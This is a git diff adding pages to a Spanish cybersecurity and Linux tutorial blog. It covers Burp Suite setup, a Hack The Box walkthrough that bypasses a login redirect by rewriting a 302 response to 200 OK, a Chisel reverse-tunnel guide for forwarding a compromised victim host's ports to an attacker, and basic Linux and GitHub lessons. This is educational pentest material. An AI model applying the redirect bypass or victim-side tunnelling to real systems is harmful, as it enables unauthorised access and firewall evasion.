    + + + + + + + + + + + + + Burpsuite + + + + + + + + + + + + + + + + + + + + + + + + +

    +

    ¿Qué es BurpSuite?

    + +

    Burp Suite, también conocida como la navaja suiza del pentester, es una herramienta multifunción para realizar auditorías de seguridad a aplicaciones Web. +Integra diferentes componentes de pentesting y funcionalidades para realizar las pruebas y permite combinar pruebas tanto automáticas como manuales. La herramienta +Burp Suite está desarrollada y mantenida por la empresa PortSwigger, y cuenta con dos versiones: Burp Free (gratuita) y Burp Professional (de pago). La versión gratuita +se puede encontrar ya instalada en Kali Linux, la distribución de Linux diseñada para auditorías y seguridad informática.

    + +

    Podeís Descargas BurpSuite en su págian Oficial –> Link

    + +

    Para instalar BurpSuite directamente desde la terminal (para sistemas como Parrot o Kali):

    + +
    sudo apt install burpsuite
    +
    + +

    +

    Herramientas Necesarias:

    + +

    Para poder trabajar con BurpSuite vamos a necesitar otras dos herramientas imprescindibles, primero necesitaremos un navegador (preferentemente firefox) y luego +también necesitaremos la aplicación o extensión llamada Foxy Proxy. Esta extensión también existe para Chrome.

    + +

    Descargas Foxy Proxy –> Link

    + +

    La dinámica será la siguiente, BurpSuite intercepta los datos del Navegador utilizando Foxy Proxy, de esta forma podremos trabajar con estos paquetes +interceptados.

    + +

    Para ello tendremos que configurar BurpSuite y FoxyProxy para establecer entre ellos una comunicación.

    + +

    +

    Configuración de FoxyProxy:

    + +

    Una vez instalado FoxyProxy en el navegador, simplemente pulsamos sobre él y luego pulsamos el botón Options.

    + +

    Captura de pantalla 2022-07-21 004025

    + +

    Tras abrirse el programa, en la parte izquierda, nos dirigimos a la opción Add.

    + +

    Captura de pantalla 2022-07-21 003734

    + +

    De Título podemos poner BurpSuite para poder identificarlo, el color que deseamos (En mi caso verde, que es más vistoso) y ahora vamos a lo importante.

    + +

    Para poder establecer conexión con BurpSuite vamos a usar un Proxy de tipo HTTP y una dirección Ip 127.0.0.1 (Esta dirección Ip es nuestro localhost) por +el puerto 8080.

    + +

    Captura de pantalla 2022-07-21 003827

    + +

    Nota: En caso de tener problemas a la hora de capturar el tráfico, tener en cuenta de que no estáis usando el puerto 8080 para otros procesos. En tal caso +emplear un puerto distinto o matar el proceso.

    + +

    Con esto ya tendríamos FoxyProxy configurado, pulsamos guardar save y veremos tras guardas como ya nos aparece nuestro nuevo Proxy en el icono de la extensión +si pulsamos encima con el ratón.

    + +

    Captura de pantalla 2022-07-21 003510

    + +

    +

    Actualizar BurpSuite:

    + +

    Es recomendable borrar previamente la versión anterior de BurpSuite e instalar la nueva versión en su directorio /opt/BurpSuiteCommunity/. +Descargar el archivo .sh desde su página principal. Luego lo ejecutamos como administrador:

    + +
    sudo chmod +x BurpSuite.sh
    +
    + +

    Luego con el siguiente comando procedemos a su instalación:

    + +
    ./BurpSuite.sh
    +
    + +

    Una vez instalado para ejecutarlo, escribimos BurpSuiteCommunity.

    + +

    +

    Configuración de BurpSuite:

    + +

    Para configurar el proxy debemos acceder a la pestaña Proxy -> Options y nos aseguramos que la opción Running esté marcada. Luego introducimos en la columna +Interface los mismos datos con los que hemos configurado FoxyProxy, que en nuestro caso es nuestro localhost por el puerto 8080 (127.0.0.1:8080).

    + +

    Captura de pantalla 2022-07-21 004623

    + +

    Ya tendríamos configurado BurpSuite y listo para su funcionamiento.

    + +

    +

    Como Interceptar peticiones básicas.

    + +

    Para interceptar una petición con BurpSuite, una vez tenemos el FoxyProxy configurado, preparamos la petición que queramos capturar, y activamos FoxyProxy. +Luego desde BurpSuite nos dirigimos al apartado Proxy y activamos la casilla en modo Intercept is on.

    + +

    Captura de pantalla 2022-07-21 005816

    + +

    Captura de pantalla 2022-07-21 005926

    + +

    Finalmente, realizamos la petición que queríamos capturar en el navegador y veremos como BupSuite la interceptará.

    + +

    +

    Capturar o interceptar Respuesta a las peticiones con Burpsuite

    + +

    Como hemos visto anteriormente, podemos capturar las peticiones de una página web con Burpsuite, pero, y si queremos enviar nuestra petición y capturar la +respuesta por parte del servidor? Esto puede ser muy útil a la hora de módificar las peticiones capturadas y ver que respuestas nos reporta el servidor.

    + +

    Para activar está funcion y poder capturar esas peticiones debemos dirigirnos a Proxy>Options>Intercep Server Responses y marcar la casilla +superior que dice Intercep responses based on the following rules: y desmarcamos la opcion marcada que dice Content type header.

    + +

    Ahora simplemente capturamos una petición, como hemos visto anteriomente, pulsamos Fordwar y nos devolverá la respuesta de nuestra petición.

    + +

    +

    Evitar Redirects con Burbpsuite

    + +

    En oscasiones nos encontraremos páginas con vínculos o redirecciones a otras páginas (código de estado 302), esto suele pasar cuando, en vez de utilizar + cookies de sesion, nos encontramos con que la página se gestiona a través de redirects.

    + +

    Con está tecnica evitaremos esas nuevas direcciones, forzando al sistema a devolver un código de estado 200 (código de estado exitoso).En ocasiones al +aplicar este cambio, podremos ver partes de la página web que antes no eran posibles.

    + +

    Para aplicar este ajuste, en primer lugar debemos de tener el Foxyproxy enlazado con Burpsuite. Una vez establecido el túner a través del proxy, +capturamos la petición de la página deseada con el Intercept como hemos visto anteriormente.

    + +

    Realizamos un Forward y veremos la respuesta. Al tratarse de una redirección, veremos como +el primer parametro HTTP/1.1 nos reporta el código de estado 302 Found. Para anular la +redirección debemos cambiar este parámetro por el de 200 OK.

    + +

    Captura de pantalla -2022-10-03 00-14-38

    + +

    Finalmente aplicamos un Forward y veremos como en el navegador se nos despliega una página +diferente.

    + +

    Vamos a tratar de mostrar un ejemplo utilizando la máquina Previse de Hack The Box.

    + +

    +

    Ejemplo: Capturar, redirigir y evitar redirect.

    + +

    En la siguiente demostración, utilizaremos la máquina Previse de Hack The Box para tratar de mostrar +como una página que nos redirige con un código de estado 302 a una página, nos puede redirigir a +otra evitando ese redirect y cambiandolo por un código de estado 200.

    + +

    En primer lugar, vamos a listar con Wfuzz los ditintos archivos alojados en el servidor para +ver el código de estado de cada archivo:

    + +

    Captura de pantalla -2022-10-02 20-06-45

    + +

    Para este ejemplo vamos a utilizar dos de los archivos aquí expuestos, podemos ver como el payload +status nos devuelve un código de estado 302 y al introducirlo en el navegador nos redirige +al payload login que si tiene un código de estado 200 y nos reporta una página de registro.

    + +

    Captura de pantalla -2022-10-03 00-58-34

    + +

    Captura de pantalla -2022-10-03 00-58-09

    + +

    Abrimos Burpsuite, configuramos Foxyproxy y realizamos una captura de la ruta +http://10.10.11.104/status.php:

    + +

    Captura de pantalla -2022-10-03 00-13-41

    + +

    Captura de pantalla -2022-10-03 00-14-17

    + +

    Ahora aplicamos un Fordward para capturar la respuesta del servidor y veremos como arriba de todo nos +muestra el código de estado, en este caso un 302 Found:

    + +

    Captura de pantalla -2022-10-03 00-15-46

    + +

    Captura de pantalla -2022-10-03 00-16-12

    + +

    Cambiamos el código de estado por un 200 OK:

    + +

    Captura de pantalla -2022-10-03 00-16-48

    + +

    Captura de pantalla -2022-10-03 00-17-02

    + +

    Y realizamos un nuevo Forward para enviar la petición módificada y ver la nueva página forzando el código de estado 200 OK:

    + +

    Captura de pantalla -2022-10-03 00-17-38

    + +

    Vemos como ya no nos reporta la página de registro, ahora nos muestra una página de información +con el título Status.

    + +

    Captura de pantalla -2022-10-03 01-02-06

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/busqueda_reporte_archivos_linux.html b/Web/busqueda_reporte_archivos_linux.html new file mode 100644 index 00000000000..8cd28e4e34f --- /dev/null +++ b/Web/busqueda_reporte_archivos_linux.html @@ -0,0 +1,314 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Buscar archivos en Linux
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + +
  • Búsqueda de archivos con Locate.
  • +
  • Buscar archivos por su extensión con Locate en Linux.
  • +
  • Listar por Categorías los Scripts de Nmap.
  • +
  • Ver únicamente las categorías de Nmap.
  • + +

    Búsqueda y reporte de archivos en Linux.

    + +

    En el siguiente artículo vamos a ver distintas formas de como buscar archivos y como reportar la información de los mismos. Utilizaremos distintas +herramientas y diferentes formas de representación de la data.

    + +

    +

    Búsqueda de archivos con Locate:

    + +

    La primera que vamos a ver para buscar archivos en linux es locate. Esta herramienta nos permite realizar búsquedas de archivos usando distintos +parámetros. Posteriormente, podremos filtrar sus resultados empleando otras herramientas como xargs, wc, etc.

    + +

    Buscar archivos por su nombre con Locate en Linux:

    + +

    La sintaxis es muy simple, el comando seguido del archivo que vamos a buscar:

    + +
    locate [archivo]
    +
    + +

    Ejemplos:

    + +
    locate home
    +locate users
    +
    + +

    +

    Buscar archivos por su extensión con Locate en Linux:

    +

    Podemos buscar por extensiones:

    + +
    locate [.extensión]
    +
    + +

    Ejemplos:

    + +
    locate .jpg
    +locate .txt
    +
    + +

    +

    Listar por Categorías los Scripts de Nmap:

    + +

    Vamos a ver como listar por Categorías los Scripts de un programa, en este caso, como ejemplo, usaremos Nmap. Para ello vamos a usar la herramienta +locate para buscar por extensiones, ya que todos los scripts de Nmap contienen la extensión .nse.

    + +
    locate .nse
    +
    + +

    Captura de pantalla 2022-08-03 111544

    + +

    Ahora, concatenando un xargs, vamos a ejecutar un grep y le especificamos el argumento "categories", de esta manera xargs nos listará las categorias +correspondientes a cada script encontrado con locate.

    + +
    locate .nse | xargs grep "categories"
    +
    + +
      +
    • grep "categories": Exporta las categorías de los archivos listados.
    • +
    + +

    Vemos como a la derecha nos reporta entre corchetes las categorías a las que corresponde cada script de Nmap.

    + +

    Captura de pantalla 2022-08-03 111456

    + +

    +

    Ver únicamente las categorías de Nmap:

    + +

    Ahora vamos a quitar todo el ruido de fondo y únicamente vamos a filtrar los tipos de categorías que existen. Para ello vamos a usar otra vez el +comando grep para crear una expresión regular -oP que nos permita capturar la data ".*?" que existe entre el doble comillado.

    + +
    locate .nse | xargs grep "categories" | grep -oP '".*?"'
    +
    + +
      +
    • -oP '".*?"': Exporta la data que hay entre el comillado de las categorías listadas. -oP ''
    • +
    • .*?: Es como se representa la data.
    • +
    + +

    Captura de pantalla 2022-08-03 111402

    + +

    Vemos como ya nos reporta únicamente las categorías, pero algunas se muestran repetidas, para evitar esto, podemos utilizar la herramienta sort seguida de +la opción -u:

    + +
    locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
    +
    + +
      +
    • -u: Muestra únicamente una palabra de cada grupo repetido.
    • +
    + +

    Vemos como ya nos muestra las categorías de una forma más limpia y sin repeticiones.

    + +

    Captura de pantalla 2022-08-03 110200

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/chisel.html b/Web/chisel.html new file mode 100644 index 00000000000..c0d169d90c9 --- /dev/null +++ b/Web/chisel.html @@ -0,0 +1,270 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + Chisel + + + + + + + + + + + + + + + + + + + + + +

    Crear un tunel con Chisel entre Linux y Windows:

    + +

    ##¿Qué es Chisel?

    + +

    Chisel es un túnel TCP/UDP rápido, transportado a través del servicio HTTP y protegido a través de SSH. Está escrito en Go y utiliza el +protocolo de cliente a servidor. Chisel es principalmente útil para pasar a través de firewalls, aunque también se puede usar para +proporcionar un punto final seguro en su red.

    + +

    Redireccionar puertos con Chisel a nuestra localhost:

    + +

    Una vez hemos ganado acceso o tenemos la posibilidad de subir archivos y ejecutar comandos en el dispositivo víctima, podemos crear un túnel +con chisel. Mediante esta herramienta podremos establecer una conexión de cliente a servidor y conectar dos puertos entre sí. +Básicamente, conectamos un puerto de la máquina víctima con uno de nuestro equipo, de tal forma, que podemos ejecutar cualquier herramienta en +local usando ese puerto, y automáticamente se redireccionara el ataque a la máquina víctima.

    + +

    Establecer conexión por parte del Servidor (Linux):

    + +

    En primer lugar, debemos de establecer Chisel en modo Servidor en nuestro sistema Linux, para ello debemos de asegurarnos que la versión de +Chisel instalada es la adecuada para nuestra distribución. Para establecer nuestro sistema como servidor simplemente ejecutamos el siguiente comando +especificando el puerto que por el que vamos a establecer la conexión. Es importante que este puerto no se encuentre en us.

    + +
    chisel server --reverse --port [Puerto Local Conexión] 
    +
    +./chisel server --reverse -p [Puerto Local Conexión] 
    +
    + +

    Ejemplo

    + +
    chisel server --reverse -p 8081
    +
    + +

    Aquí podemos ver como en el ejemplo hemos establecido un servicio de servidor con Chisel por el puerto 8081, este puerto es el que posteriormente +tendremos que especificar en el servicio por parte del Cliente para realizar la conexión.

    + +

    Establecer conexión por parte del Cliente (Windows):

    + +

    Para establecer Chisel en un sistema Windows como Cliente, nos descargamos la versión específica para Windows (debemos de comprobar +si el sistema es de 32 o 64 bits) y ejecutamos el siguiente comando. En él debemos especificar el puerto por el que vamos a comunicarnos +con nuestro servicio Servidor y los puestos que vamos a comunicar entre sí:

    + +
    .\chisel.exe client [Ip Local]:[Puerto de Conexión] R:[Puerto Víctima]:127.0.0.1:[Puerto Local]
    +
    + +

    [Ip Local]: Es la Ip de nuestro sistema Servidor. O en caso de estar conectados por VPN su Ip pública.

    + +

    [Puerto de Conexión]: Es el puerto establecido en la conexión con el Servidor. Debe ser el mismo puerto que especificado en el sistema Linux.

    + +

    [Puerto Víctima] y [Puerto Local]: El puerto Víctima pasará a ser el puerto local de nuestro local host 127.0.0.1.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/contacto.html b/Web/contacto.html new file mode 100644 index 00000000000..47a855392f6 --- /dev/null +++ b/Web/contacto.html @@ -0,0 +1,190 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursoejpt.html b/Web/cursoejpt.html new file mode 100644 index 00000000000..dc8f456394e --- /dev/null +++ b/Web/cursoejpt.html @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Certificaciones
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + eJPT + + + + + + + + + + + + + + + + + + + + + +

    Preparación para el eJPT Certification

    + +

    En este módulo vamos a ver como prepararnos para la certificación eJPT de eLeanSecurity.

    + +

    ¿Qué es el eJPT?

    + +

    El eJPT es el examen de certificación eLearning Junior Penetration Tester que, como su nombre indica, es completamente online. Es 100% práctico y te hará +conocer los fundamentos de las pruebas de penetración y de la seguridad informática a un nivel básico. Podéis encontrar más información sobre esta certificación en su página oficial.

    + +
      +
    • Certificación eJPT –> Link
    • +
    + +

    ¿Qué conceptos se evaluan?

    + +

    Captura de pantalla 2022-07-20 092553

    + +

    Lista de Máquinas de Hack the Box para preparar el eJPT.

    + +
      +
    • Jerry
    • +
    • Validation
    • +
    • Return
    • +
    • Horizontall
    • +
    • Jeeves
    • +
    • Flustered
    • +
    • Love
    • +
    • NodeBlog
    • +
    • NunChucks
    • +
    • Bolt
    • +
    • GoodGames
    • +
    • Hawk
    • +
    • Driver
    • +
    • Toolbox
    • +
    • Chaos
    • +
    • Antique
    • +
    • Stratosphere
    • +
    • Devzat
    • +
    • Shocker
    • +
    • Tabby
    • +
    • Static
    • +
    • Tenten
    • +
    + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + + \ No newline at end of file diff --git a/Web/cursogithub_1.html b/Web/cursogithub_1.html new file mode 100644 index 00000000000..9e2871fa5c2 --- /dev/null +++ b/Web/cursogithub_1.html @@ -0,0 +1,289 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Servicio Web
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + GitHub + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es GitHub?

    + +

    Github es un portal creado para alojar el código de las aplicaciones de cualquier desarrollador, y que fue comprada por Microsoft en junio del 2018. +La plataforma está creada para que los desarrolladores suban el código de sus aplicaciones y herramientas, y que como usuario no solo puedas +descargarte la aplicación, sino también entrar a su perfil para leer sobre ella o colaborar con su desarrollo.

    + +

    Git se utiliza también como sistemas de control, ya que permite comparar el código de un archivo para ver las diferencias entre las versiones, restaurar versiones +antiguas si algo sale mal, y fusionar los cambios de distintas versiones. También permite trabajar con distintas ramas de un proyecto, como la de desarrollo +para meter nuevas funciones al programa o la de producción para depurar los bugs.

    + +

    Github permite que los desarrolladores alojen proyectos generando repositorios de forma gratuita. Pero hay que tener una cosa en mente, y es que para poder subir gratis +los proyectos deberán ser de código abierto. Y no quieres que tu aplicación sea de código abierto, la plataforma también tiene una versión de pago para alojar proyectos +de forma privada.

    + +

    Instalar Bundler para modificar Jekyll GitHub pages.

    + +

    Instalar Bundler:

    + +
    sudo apt install bundler
    +
    + +

    Actualizar Bundler:

    + +
    bundle update
    +
    + +

    Modificar Archivos en Local y publicar modificaciones.

    + +

    En primer lugar debemos descargarnos el repositorio donde hemos creado nuestra web con Jekyll. Da igual la plantilla utilizada siempre +y cuado este basada en Jekyll. Para descargar el repositorio utilizamos el comando siguiente:

    + +
    git clone [URL del Repositorio_Github_pages]
    +
    + +

    Para mostrar nuestra web en local, desde el directorio principal del repositorio, ejecutamos el siguiente comando:

    + +
    bundle exec jekyll serve
    +
    + +

    Una vez establecida la conexión, nos reportará un mensaje del puerto que podemos utilizar para ver la web en local, por lo general suele utilizar +el puerto 4000. Para ver la página, vamos a culquier navergador (Chrome, Firefox, etc) y escribimos localhost:4000. Si todo está configurado +correctamente deberíamos de ver nuestra página web.

    + +

    Esto es una manera muy práctica de trabajar ya que nos mostrará los cambios al instante, sin tener que esperar a que el servidor lo cargue, tambien +permite trabajar con los archivos sin disponer de internet y otra ventaja es que no tendremos que estar refrescando la página constantemente, publicando +directamente trabajos ya terminados.

    + +

    Para publicar los archivos una vez los hemos modificado debemos ejecutar los siguientes comandos:

    + +
    git add ..
    +
    + +

    Podemos añadir un commit a nuestra publicación para añadir iformación o una descripción. Para ello, utilizamos el siguiente comando y escribimos +entre las comillas lo que queramos publicar:

    + +
    git commit -m 'Publicación Nueva'
    +
    + +

    Finalmente para subir y puablicar los cambios utilizamos el comando:

    + +
    git push
    +
    + +

    Nos pedira nuestro nombre de Usuario de la cuenta Github y un códido de verificación llamado token, este código debemos de generarlo desde la página de Github. +Para ello nos dirigimos a la página principal de nuestro perfil de Github, nos dirigimos a Settings y luego a Personal access tokens y generamos un token +nuevo en Generate new token.

    + +

    Ya tendríamos nuestros cambios locales publicados en el repositorio de Github.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_1.html b/Web/cursolinux_1.html new file mode 100644 index 00000000000..21ed26bf1ae --- /dev/null +++ b/Web/cursolinux_1.html @@ -0,0 +1,387 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + +

    Aquí podéis encontrar gran variedad de artículos basados en el ecosistema Linux. En los siguientes artículos se muestra información básica de Linux a + modo de curso, veremos conceptos fundamentales sobre Linux, instalación y ejecución de dispositivos y programas, gestores y administradores de terminales, etc. + La idea es contemplar todo lo necesario para poder trabajar con Linux de forma productiva

    + +

    En mi caso estoy utilizando ParrotOS, que es un sistema operativo basado en Debian, pero vosotros para poder seguir o practicar este curso, podéis utilizar + cualquier versión de Linux.

    + +

    La finalidad de este curso es aprender los fundamentos de Linux y poder utilizar cualquier sistema operativo basado en él de forma eficiente.

    + +

    Índice del Curso de Introducción a Linux:

    + +

    Conceptos Básicos

    + +

    Consola, Terminal y Shell

    + + + +

    Usuarios y Grupos

    + + + +

    Directorios Principales en Linux

    + + + + +

    Comandos Básicos en Linux

    + + + +

    Concatenar Comandos en Linux.

    + + + +

    Permisos Básicos en Linux

    + + + + + +

    Descriptores de Archivos en Linux

    + + + +

    Instalar y Desinstalar Archivos en Linux

    + + + + +

    Búsqueda y reconocimiento de archivos en Linux

    + + + +

    Gestión de procesos en Linux:

    + + + + + +

    Escalada de Privilegios:

    + +

    Escalada Básica de Privilegios en Linux –> Link

    + +

    Dispositivos:

    + + + +

    Programas para Linux

    + + + +

    Programas de Descargas:

    +

    Estos son distintos programas de Descarga de archivos para diferentes plataformas y archivos.

    + +

    Torrent

    +

    Para descargar archivos Torrent desde la Terminal.

    + + + +

    Youtube

    +

    Para descargar tanto vídeos como audio de Youtube desde la Terminal.

    + + + +

    Intérprete de Comandos:

    +

    Un intérprete de órdenes o de comandos, es un programa informático que tiene la capacidad de traducir las órdenes que introducen los usuarios, mediante un conjunto de instrucciones facilitadas por él mismo directamente al núcleo y al conjunto de herramientas que forman el sistema operativo.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + diff --git "a/Web/cursolinux_2_introduccion_conceptos_b\303\241sicos.html" "b/Web/cursolinux_2_introduccion_conceptos_b\303\241sicos.html" new file mode 100644 index 00000000000..93f8684f395 --- /dev/null +++ "b/Web/cursolinux_2_introduccion_conceptos_b\303\241sicos.html" @@ -0,0 +1,335 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Introducción
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + +
  • ¿Qué es Linux?
  • +
  • ¿Cuáles son los componentes básicos de Linux?
  • +
  • ¿Qué es una Distribución?
  • +
  • ¿Qué es el kernel de Linux?
  • +
  • ¿Qué es la terminal de Linux?
  • +
  • ¿Qué es un Proceso?
  • + +

    Introducción a Linux

    + +

    En el siguiente artículo, vamos a tratar los principales conceptos que rodean el ecosistema Linux. + Tener una noción básica de los conceptos más importantes de Linux te ayudarán a comprender + su funcionamiento. +

    + +

    +

    ¿Qué es Linux?

    + +

    GNU/Linux un sistema operativo (o una familia +de sistemas operativos) tipo Unix compuesto por +software libre y de código abierto.

    + +

    GNU/Linux surge de las contribuciones de varios proyectos +de software, entre los cuales destacan GNU +(iniciado por Richard Stallman en 1983) y el +kernel «Linux» (iniciado por Linus Torvalds +en 1991).

    + +

    «Linux» es solo el nombre del kernel o +núcleo, ya que el sistema completo está +formado también por una gran cantidad de +componentes del proyecto GNU junto a componentes +de terceros, que van desde compiladores +hasta entornos de escritorio.

    + +

    ​Cabe señalar que existen derivados que usan el +núcleo Linux pero que no tienen componentes +GNU, como por ejemplo el sistema operativo Android. +También existen distribuciones de software GNU +donde el núcleo Linux está ausente.

    + +

    Los sistemas operativos GNU/Linux se encuentran +normalmente en forma de distribuciones o distros. +Entre las más populares se encuentran Debian, Ubuntu, +Red Hat y SUSE.

    + +

    El propósito de estas distribuciones es +ofrecer GNU/Linux como un producto final para +instalar o probar en un ordenador, cubriendo +una gama de necesidades que van desde el uso +cotidiano personal hasta aplicaciones muy +específicas en ambientes especializados.

    + +

    +

    ¿Cuáles son los componentes básicos de Linux?

    + +

    Cada sistema operativo tiene sus componentes característicos, y el sistema operativo Linux también tiene los siguientes componentes:

    +
      +
    • Cargador de arranque. Las computadoras deben pasar por una secuencia de inicio llamada arranque.

      +
    • Kernel del sistema operativo.

      +
    • Servicios de fondo.

      +
    • OS Shell.

      +
    • Servidor de gráficos.

      +
    • Entorno de escritorio.

      +
    • Aplicaciones.

      +
    + +

    +

    ¿Qué es una Distribución?

    + +

    Una distribución o distro de Linux no es más que una versión personalizada del sistema operativo original, el kernel o núcleo de Linux. + Existen más de 600 distribuciones Linux. Esto se debe al carácter abierto, la condición de código libre de Linux, que cualquiera + puede ampliar y modificar.

    + +

    Las distro de Linux tienen en común el kernel, pero el resto de componentes (las herramientas, la shell, el Display Server, la GUI) varían + entre sí, se personalizan o se crean desde cero, por eso las distribuciones son tan diferentes entre sí. Aunque en la mayoría de los casos la + principal diferencia es la GUI, o los programas y herramientas que vienen incluidos. + +

    Cada distribución Linux tiene un objetivo, que justifica su existencia. Por ejemplo, distros como Ubuntu se centran en ser lo más amigables + posible a la hora de instalarse o descargar programas. Linux Mint aprovecha el hardware potente para competir con Windows o MacOS + de tu a tu. Si tienes un ordenador viejo, hay distros ligeras como Puppy Linux. ¿Quieres instalar Linux en un servidor? Usa Debian. + ¿Deseas jugar a videojuegos en Linux? SteamOS es la mejor.

    + +

    +

    ¿Qué es el kernel de Linux?

    + +

    El kernel de Linux es el elemento principal de los sistemas operativos (SO) Linux, y es la interfaz fundamental entre el hardware de una computadora + y sus procesos. Los comunica entre sí y gestiona los recursos de la manera más eficiente posible.

    + +

    Se llama kernel porque se encuentra dentro del sistema operativo y controla todas las funciones + principales del hardware, ya sea un teléfono, una computadora portátil, un servidor o cualquier otro tipo de equipo.

    + +

    +

    ¿Qué es la Terminal o Shell de Linux?

    + +

    La Terminal o Shell de Linux es una consola, similar a CMD o PowerShell (pero mucho más avanzada que ambas), utilizada para permitir a los usuarios más avanzados + y técnicos controlar hasta el más mínimo detalle del sistema operativo.

    + +

    Desde esta consola podemos ejecutar todo tipo de herramientas, aunque lo suyo es ejecutar aquellas que no tienen interfaz gráfica y que deben usarse mediante + comandos. Igual que en otros sistemas operativos, podemos ejecutar cualquier binario o script directamente desde su directorio, peró los detalles los iremos viendo + más adelante.

    + +

    +

    ¿Qué es un Proceso?

    + +

    Un proceso es simplemente un programa en ejecución. También se define como una entidad que representa la unidad de trabajo más básica que se +implementa en un sistema. Cuando queremos realizar una tarea en nuestro ordenador, ejecutamos un programa. Este programa acaba convirtiéndose +en un proceso que ejecutará todas las funciones que se definen en el programa en cuestión.

    + +

    Del mismo modo, cuando un programa se convierte en un proceso, este también pasa a dividirse en cuatro secciones diferentes:

    + +
      +
    • Stack: Contiene la información temporal que se almacena al ejecutar las funciones que se definen en el programa, como por ejemplo sus parámetros, + sus valores de retorno y sus variables locales.
    • +
    • Heap: Memoria dinámica reservada por el proceso.
    • +
    • Text: Información del estado actual del programa, incluyendo la información almacenada en los registros.
    • +
    • Data: Información almacenada en variables globales y variables estáticas.
    • +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/cursolinux_3_consola_terminal_shell.html b/Web/cursolinux_3_consola_terminal_shell.html new file mode 100644 index 00000000000..ac8acd38140 --- /dev/null +++ b/Web/cursolinux_3_consola_terminal_shell.html @@ -0,0 +1,268 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: Consola, Terminal y Shell
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + + + +
  • ¿Qué es una Consola?
  • +
  • ¿Qué es una Terminal?
  • +
  • ¿Qué es una Shell?
  • + +

    +

    ¿Qué es una Consola?

    + +

    Una consola hace referencia a un dispositivo electrónico que cuenta con monitor y teclado y que se utiliza para interactuar con un ordenador.

    + +

    Este dispositivo es un tipo de terminal físico, una ventana en la que se encuentran activos sus programas en modo texto, un interfaz o escritorio desde el cual se monitorea y controla un sistema. Básicamente, es una +terminal física.

    + +

    Actualmente, existen las llamadas consolas virtuales, lo que significa que la consola puede ser completamente un software. Además, es bastante común que, en el aspecto práctico, no se establezcan diferencias entre consola y terminal.

    + +

    +

    ¿Qué es una Terminal?

    + +

    El concepto o nombre terminal se refiere a un dispositivo para enviar comandos a un ordenador y mostrar su +respuesta. En el mundo del desarrollo de software, esto corresponde con el programa que emula este dispositivo.

    + +

    Es un entorno de entrada y salida del texto, el cual emula una GUI, es decir, una consola en una interfaz gráfica de usuario.

    + +

    Sistemas como Linux agregaron mejores herramientas encargadas del multiprocesamiento, por lo que el terminal pasó +a ser meramente un software.

    + +

    Los sistemas Linux a menudo cuenta con diversas terminales, por ejemplo en Kali Linux viene por defecto instalada como principal QTerminal, aunque también vienen instaladas terminales como la Powershell, Terminator, etc.

    + +

    Para abrir la terminal podemos hacerlo de diversas formas, una es dirigirnos al icono que se encuentra arriba a la izquierda:

    + +

    189310438-eb23610b-af5e-412e-ad7d-1d8928f871f3

    + +

    Otra forma es abrir la barra de búsqueda de Linux, escribir Terminal y nos aparecerá el mismo icono que antes. Y finalmente podemos abrir la terminal mediante +su atajo de teclado.

    + +

    Los atajos de teclado son teclas predefinidas con una función, abrir un programa, ejecutar una acción, etc. En este caso pulsado Ctrl + Alt + T no se abrirá la terminal.

    + +

    Más adelante veremos como modificar los atajos de teclado para ajustarlo a nuestras necesidades.

    + +

    +

    ¿Qué es una Shell?

    + +

